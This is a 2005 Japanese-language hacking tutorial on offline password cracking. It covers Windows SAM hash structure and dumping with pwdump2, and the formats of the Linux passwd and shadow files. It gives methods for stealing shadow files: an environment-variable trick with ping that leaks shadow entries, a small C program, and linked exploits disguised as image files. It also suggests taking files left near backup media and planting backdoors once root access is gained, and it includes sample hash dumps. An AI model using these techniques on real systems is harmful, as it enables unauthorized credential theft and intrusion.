Offline Passwd Cracking

Date : 2005-03-10
Author : Defolos

CONTENTS

(1.) Windowsのパスワードクラッキング
- パスワードシステム
- SAMについて
- SAMのダンピング
- SAMファイルのサンプルと解析
(2.) Linuxのパスワードクラック
- passwdファイルのフォーマット
- passwdファイルの入手
- shadowファイルのフォーマット
- shadowファイルの入手
- パスワード解析ツールによる解析

Windowsのパスワードクラッキング

● パスワードシステム

 WindowsNT/2000/XPのパスワードはSAMで管理されています。また、パスワードデータは「LMハッシュ」、「NTハッシュ」という2つのファイルに分かれています。

○ LMハッシュ生成方

  1. パスワードを小文字から大文字に変換します。
  2. 14バイトになるまで0を追加します。
  3. 7バイトずつに分断します。
  4. それぞれ特定の文字列でDES暗号化します。
  5. 出来上がった二つの暗号データを合わせます。

○ NTハッシュ生成方

  1. パスをUNICODEに変換します。
  2. MD4を使ってハッシュ化します。
  3. そのハッシュデータがNTハッシュです。

● SAMについて

 SAMファイルは「C:\WINDOWS\System32\config」ディレクトリ内に、4096バイトごとにブロック化されて存在しています。最初のブロックは「regf」(0x72656766)というマークから始まり、以後「hbin」(0x6862696E)というマークで始まるブロックが続きます。

  1. rootのパスワードデータを取得するために、000001F4(0x3030303030314634)という文字列を検索します。これはrootのRID(相対識別子)に当たるレジストリキー名です。

  2. 次に、当該文字列が「nk」(0x6E6B)で始まるレコード名かどうかを確認します。レコードサイズはダブルワードに対する2の補数で表現されます。

  3. そして、当該nkレコードのValueの数とValueのオフセットリストの場所を確認します。Valueが1個の場合は、別の000001F4を探します。Valueのオフセットリストの場所を示すアドレスはhbinブロック群でのオフセット値であり、SAMファイルの先頭からregfブロック分(4096バイト)を加える必要があります。

  4. Valueのオフセットリストレコードで示される2つのValueの場所を確認します。そこにvkレコードがあります。ここに208バイトのヘッダ、ユーザー名、フルネーム、説明、パスワードデータなどが格納されています。

 WindowsNT/2000/XPのパスワードデータは先に述べた通りLMハッシュとNTハッシュの2種類が存在し、どちらのサイズも16バイトです。これらのパスワードデータが格納されている場所を示すオフセット値は、ヘッダの156バイト目にあります。
 パスワードデータはLMハッシュ及びNTハッシュそのものではなく、RIDの一部を暗号鍵としてDESで暗号化したものです。

● SAMのダンピング

○ pwdump2の利用

 WindowsNT/2000システムにおいてDLLインジェクションを使ってSYSKEYが有効であってもハッシュ値(SAM)を入手できます。
 DLLインジェクションとは、強制的に指定したDLLファイルをあるプロセスに読み込ませることで、そのプロセスに別の動作をさせるテクニックです。
 ただし、pwdump2はroot権限かSYSTEM権限でないと実効できません。SYSTEM権限とはWindowsNT/2000においてOS動作権限のようなもです。root権限と等しい権限を持っています。

  1. packet stormからpwdump2をダウンロードしましょう。
  2. 解凍し「pwdump2.exe」と「samdump.dll」を同じディレクトリに置きます。
  3. コマンドプロンプトから起動してください。
  4. 出力先をファイルに指定すると便利です。 >pwdump2>passwd.txt
  5. 結果はpasswd.txtに出力されます。

● SAMのサンプルと解析

○ SAMのサンプル

Admin:500:cc0d6002440fd9edaad3b435b51404ee:85d07d5fd4f31549f141fd3c019f1bd7:::
Defolos:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Assistant:1004:db3d71e7e747508bce62c3975cc910cc:1c067d5e4f1a35f1ffd4f77102b7173c:::
SUPPORT:1002:aad3b435b51404eeaad3b435b51404ee:f3a37fe25c4df6c79b0167e3578aad2b:::

 上記のようなパスワードファイルをJohn the ripperなどのパスワード解析ツールにかけてパスワードを解析します。John the ripperの詳細は他のテキストを参照してください。


Linuxのパスワードクラック

 Linux/UNIXのパスワードは、「/etc/passwd」に暗号化して書かれています。また、root権限に限らず一般ユーザ権限でも閲覧は可能となっています。
 しかし、一般的にpasswdファイルを開いてみても、パスワードの書かれている場所は***となっていて見ることができません。これはshadowがかかっているからであり、shadowがかかっていると「/etc/shadow」というファイルにパスワードが暗号化されて書かれる仕組みになっています。
 このshadowファイルはroot以外はアクセス権限がないため一般ユーザでは閲覧が不可能です。しかしもし、このshadowファイルの中身を入手できたとしたら、全てのユーザのパスワードを知ることができる可能性があります。

● passwdファイルのフォーマット

 パスワードファイルは「:」で7つのフィールドに区切られています。

例)root:JPfsdh1NAjIUw:0:0:Special admin sign in:/:/bin/csh

 それぞれは順々に次のように意味を持っています。

1.) ユーザー名
2.) 暗号化されたパスワード

DESで暗号化されたパスワードが格納されています。 ここが「x」、「*」、「!」となっていれば、そのシステムはshadowがかかっているということです。

3.) UID(ユーザID)

16ビットの整数値で、アクセス権を確認するのに使われます。ここが0の場合はrootであることを示しています。UIDの-1と-2は、NFSで使われます。UIDが-1の場合には、ユーザとして認められていないことを意味し、誰も参照されません。
UIDが-の場合には、そのシステムのrootとしてアクセスすることが認められていない他のシステムのrootがファイルシステムにアクセスすることを意味します。

4.) GID(グループID)

16ビットの整数値です。

5.) GECOS

コメントが書き込まれるフィールドです。ユーザの本名、住所、電話番号などを書き込むしきたりになっています(間に受けて本名なんか入力してる人はいないでしょうが・・・)。
なお、このフィールドはfingerコマンドを使用したときにも参照されます。

6.) ホームディレクトリ

ユーザがログインしたときにカレントディレクトリとなるディレクトリを表しています。

7.) ログインシェル

ユーザがログインしたときに使用されるシェルを表しています。

● passwdファイルの入手

1.) バックアップメディア

 最も簡単な方法はバックアップメディア内のpasswd/shadowファイルです。  バックアップ機器周辺に無造作に置かれている場合があるのでそこから入手しましょう。

2.) AnonymousFTP

  shadowがかかってないシステムに限られますが、AnonymousFTPを利用することでpasswdファイルを入手することができます。
 AnonymousFTPで接続し、/etc/passwdを見てみます。shadowがかかっていた場合は諦めてください。
 最近のRedHatはデフォルトでshadowがかかるので、この方法は通用しない可能性が高いです。

3.) root権限による閲覧

 クラッキングにより奪取したroot権限によりshadowファイルを閲覧する方法です。しかし、それならバックドアを仕掛けたほうがよほど効率的でしょう。

○ passwdのサンプル

root:JPfsdh1NAjIUw:0:0:Special admin sign in:/:/bin/csh
sysadm:ufcNtKNYj7m9I:0:0:
Regular Admin login:/admin:/sbin/sh
bin:*:2:2:Admin :/bin:
sys:*:3:3:Admin :/usr/src:
adm:*:4:4:Admin :/usr/adm:/sbin/sh
daemon:*:1:1: Daemon Login for daemons needing
nobody:*:65534:65534::/:
ftp:*:39:39:FTP guest login:/var/ftp:
dtodd:yYn1sav8tKzOI:101:100:John Todd:/home/dtodd:/sbin/sh
joetest:0IeSH6HfEEIs2:102:100::/home/joetest:/usr/bin/restsh"

● shadowファイルのフォーマット

 下の文字列はshadowファイルのサンプルです。

defolos:hogehoge:10480:0:99999:7:::

 各フィールドは次のような意味を持っています。

  1. ユーザーのログイン名
  2. 暗号化されたパスワード
  3. 最終パスワード変更日時
  4. パスワード変更不能日数
  5. パスワード変更要求までの日数
  6. パスワード変更要求警告までの日数
  7. パスワードを無効にするまでの日数
  8. パスワード変更期限満了までの日数
  9. 未使用のフラグ

 shadowファイルはroot以外はアクセスできないようになっているため、比較的安全なシステムだと言えます。最近のRedHatではデフォルトでshadowがかかりますが、油断は禁物です。

● shadowファイルの入手

 Exploitを利用して奪取します。Exploitにも様々な種類のものが出回っており、代表的なものを紹介します。なお、これらのExploitはかなり古いものであり、効果のあるシステムは少ないと思われます。

1.) shadow_indicater

#include <stdio.h>

int main()
{
  struct passwd *p;
    while((p=getpwent())!=NULL)
      printf("%s:%s:%d:%d:%s:%s:%s:%s",p->pw_name,p->pw_passwd,p-> pw_uid,p->pw_gid,
p->pw_gecos,p->pw_dir,p->pw_shell);
}

 このプログラムを実行すると、次のような行が次々表示されます。

bankim:EauDLA/PT/HQg:505:505:bankim:/home/bankim:/bin/bash

2.) export_comand_exploit

 まず、exportコマンドでシャドウパスワードをRESOLV_HOST_CONFに対応付けます。

$ export RESOLV_HOST_CONF=/etc/shadow

 シェルによっては次のようにしなければならないでしょう。

$ export
$ declare -x HOST_CONF_RESOLV="/etc/shadow"

 そして、次のように入力します。

$ ping /etc/shadow

 /etc/shadowホストは存在しません。よって名前解決できないというエラーが、次のように出力されます。

resolv+: "root:Edzr3hs6hd63sh:10175:0:99999:7:::" is an invalid keyword
ping: unknown host.

 このエラー出力の「root:Edzr3hs6hd63sh:10175:0:99999:7::」が shadow内のrootの情報です。

3.) Lopht Advisory-IMAPD

 http://ruffnex.oc.to/text1/figure/Lopht_Advisory-IMAPD.jpg
拡張子を.jpgにしてありますが、テキストエディタで開いてください。 imapdをクラッシュさせ、shadowをカレントディレクトリにダンプさせるExploitです。リモートでも効果があるようですが、NetCat110が必要となります。

4.) deshadow.c

 http://ruffnex.oc.to/text1/figure/deshadow.jpg
拡張子を.jpgにしてありますが、テキストエディタで開いてください。 /etc/shadowの中身をダンプできるそうですが、今も使えるかどうかは疑問です。

● パスワード解析ツールによる解析

 これらで得られたSAMファイルやpasswd、shadowファイルは暗号化されているので、John the Ripperなどのパスワード解析ツールを使って復号化します。詳細はJohn the Ripperの記事を参照してください。


■参考文献


go back to the TOP page of Glazheim Lykeion.